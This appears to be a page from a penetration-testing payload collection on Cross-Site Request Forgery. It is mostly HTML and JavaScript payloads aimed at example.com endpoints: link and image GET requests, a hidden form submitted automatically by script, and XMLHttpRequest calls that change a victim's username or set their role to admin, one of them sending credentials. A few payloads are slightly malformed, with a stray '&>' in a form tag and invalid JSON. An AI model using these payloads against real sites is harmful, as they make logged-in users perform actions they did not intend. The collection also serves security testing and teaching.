2.7 KiB
2.7 KiB
Cross-Site Request Forgery
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP
Summary
Methodology
Payloads
HTML GET – Requiring User Interaction for Proof-of-Concept
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
HTML GET (No User Interaction)
<img src="http://www.example.com/api/setusername?username=CSRFd">
HTML POST – Requiring User Interaction for Proof-of-Concept
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
HTML POST (AutoSubmit – No User Interaction)
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST"&>
<input name="username" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
<script>
document.getElementById("autosubmit").submit();
</script>
JSON GET – Simple Request
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>
JSON POST – Simple Request
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader("Content-Type", "text/plain");
//You will probably want to also try one or both of these
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
</script>
JSON POST – Complex Request
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>